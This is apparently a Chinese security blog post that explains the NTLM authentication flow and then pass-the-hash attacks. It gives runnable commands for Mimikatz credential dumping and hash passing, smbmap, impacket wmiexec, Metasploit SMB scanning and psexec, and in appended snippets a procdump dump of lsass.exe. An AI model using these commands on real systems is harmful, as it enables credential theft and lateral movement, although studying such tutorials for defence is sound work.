<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    NTLM 認證協議到 Pass The Hash 攻擊

    king2020-08-25 23:10:25

    繼續來聊聊Windows網絡認證。

    NTLM是一種網絡認證協議,與NTLM Hash的關系就是:NTLM網絡認證協議是以NTLM Hash作為根本憑證進行認證的協議。

    0x01 NTLM協議

    In a Windows network, NT (New Technology) LAN Manager (NTLM) is a suite of Microsoft security protocols intended to provide authentication, integrity, and confidentiality to users.NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN), an older Microsoft product. The NTLM protocol suite is implemented in a Security Support Provider, which combines the LAN Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in a single package. Whether these protocols are used or can be used on a system is governed by Group Policy settings, for which different versions of Windows have different default settings. NTLM passwords are considered weak because they can be brute-forced very easily with modern hardware.

    這段話摘自:

    https://en.wikipedia.org/wiki/NT_LAN_Manag...

    大概說到NTLM協議是LM(LAN Manager)協議的后繼產品,其協議套件中包含LMNTLM v1NTLM v2NTLM2 Session四種協議,具體該使用哪一種由組策略決定。不同版本的Windows版本具有不同的默認設置。其中也提到了NTLM協議是一種不安全的認證模式。

    NTLM基于Challenge/Response (質詢/響應)認證機制。整個認證流程分為三部分:協商質詢身份驗證

    1. 協商

    客戶端向服務器發送協商消息,此消息允許客戶端向服務器指定其支持的NTLM選項,其中就包括需要登陸的用戶名,協議版本信息,簽名等等。可詳見官方文檔NEGOTIATE_MESSAGE

    2. 質詢

    這一個過程中服務器接收到了客戶端的協商信息,服務器會產生一個Challenge,之后加密驗證會依賴于Challenge

    challenge: A piece of data used to authenticate a user. Typically a challenge takes the form of a nonce.

    這是來自微軟官方的解釋,就是說Challenge是用于驗證用戶身份的一條數據。通常,Challenge采用隨機數的形式。

    | 1 | NTLM v1這里生成的是8位的Challenge,而NTLM v2是16位的Challenge。 |

    服務器使用登錄用戶名對應的NTLM Hash加密Challenge, 得到一個Net NTLM Hash。同時將之前生成的隨機數Challenge等信息發送給客戶端。

    客戶端接受到Challenge后,使用將要登錄到賬戶對應的NTLM Hash加密Challenge生成Response,然后將Response等信息發送至服務器端。

    | 1 | NTLM v1這里的加密算法采用DES,NTLM v2采用HMAC-MD5。 |

    3. 身份驗證

    服務器端接收到客戶端發送的Response,將Response與自己計算得出的Net NTLM Hash進行比較,如果相等,則認證通過。

    image-20200810170644516

    0x02 Pass The Hash攻擊

    1. 原理

    前面說到了Windows的網絡認證,依靠NTLM協議,是一種點對點的認證交互模式,沒有類似于Kerberos協議的信托機構。

    并且在驗證過程中也是沒有使用到明文密碼的,可以發現在客戶端向服務端發起身份驗證中主要的認證步驟在于向服務端發送Response,這意味著在某一種情況下,你在工作組或域環境中拿到了一臺主機的權限,并讀到了它的NTLM hashLM hash,這時想要破解出明文密碼可能會有難度,所以你選擇依靠這個hash,在工作組或域內登陸更多的主機,因為在內網,密碼一致的情況非常常見。

    所以你可以偽裝成客戶端向服務端發起NTLM協議的認證,通過服務端對客戶端發送的Challenge再加上你得到的hash,生成一個Response,就可以完整實現整個認證流程。

    這個攻擊方式就稱為哈希傳遞(Pass The Hash)。

    2. 攻擊利用

    下面介紹幾種利用方式

    Mimikatz

    privilege::debug
    sekurlsa::logonpasswords

    image-20200811124609222
    利用當前的NTLM hash進行傳遞:

    sekurlsa::pth/user:administrator/domain:zjun.com/ntlm:79c89e2e7418467a4e7b55f8307260ca 

    image-20200811124916622

    Smbmap

    SMBMap是一個SMB枚舉工具,功能很強大,可以命令執行,同時也支持哈希傳遞。

    python3 smbmap.py -u administrator -p '00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca' -H 192.168.21.200 -r 'C$\Users'
    # 前面的320表示的是LM hash,但是目標主機是win 2012默認不開啟LM hash,所以這里隨意填入32位長度的字符即可。

    image-20200811132905239

    Wmiexec

    python源碼:

    https://github.com/SecureAuthCorp/impacket...

    python3 wmiexec.py -hashes 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca ZJUN/administrator@192.168.21.200 "whoami"
    # 前面的320表示的是LM hash,但是目標主機是win 2012默認不開啟LM hash,所以這里隨意填入32位長度的字符即可。 

    image-20200811144528943

    windows exe版本:

    https://github.com/maaaaz/impacket-example...

    image-20200811145519047

    Metasploit psexec模塊

    直接hash噴射整個內網段不免緩慢,由于其依賴于445139等端口,所以可以先掃一下段內端口開放主機。

    use auxiliary/scanner/smb/smb_version
    set rhosts 192.168.21.0/24
    set threads 100
    run

    image-20200811152423379

    再利用psexec模塊進行哈希傳遞。

    use exploit/windows/smb/psexec
    set lhost 192.168.0.102
    set rhosts 192.168.21.200
    set smbuser administrator
    set smbpass 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca
    run

    image-20200811153953954

    此外還有如CrackMapExecsmbexec等工具。

    對于這一缺陷,微軟發布了KB2871997補丁,在打了該補丁后,對于SID500的賬戶,無論用戶名,Pass The Hash無法成功。

    wmic useraccount get name,sid 

    image-20200813111830885

    0x03 總結

    本篇主要NTLM認證流程,以及PTH攻擊原理和幾種常用工具,但不全。
    作者: zjun
    文章鏈接: www.zjun.info/2020/ntlm-pth.html

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    NTLM是一種網絡認證協議,與NTLM Hash的關系就是:NTLM網絡認證協議是以NTLM Hash作為根本憑證進行認證協議。其中也提到了NTLM協議是一種不安全的認證模式。同時將之前生成的隨機數Challenge等信息發送給客戶端。客戶端接受Challenge后,使用將要登錄賬戶對應的NTLM Hash加密Challenge生成Response,然后將Response等信息發送至服務器端。
    很多人把這個原因歸結于KB2871997補丁,實際上不然,這個事情的成因實際是UAC在搗亂。RID為500的賬戶和屬于本地administrators組的域用戶在通過網絡遠程鏈接時,默認就是高權限令牌。
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    所以可以通過它傳回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取lsass.dmp
    所以可以通過它傳回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取lsass.dmp
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    內網滲透TIPS總結
    2023-01-28 11:00:41
    內網基礎知識1、工作組:工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類不同的組。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
    本文是很久之前做的筆記,今天有空又梳理了一下,分享出來。如果有錯誤或疏漏,歡迎留言指出。 Kerberos是一種基于票據的、集中式的網絡認證協議,適用于C/S模型,由MIT開發和實現(http://web.mit.edu/kerberos/dist/)。 這里所謂的認證,就是保證使用票據(Ticket)的用戶必須是票據中指定的用戶。 簡單回憶一下,密碼學涉及機密性、完整性、認證性(實體認證+
    king
    暫無描述
      亚洲 欧美 自拍 唯美 另类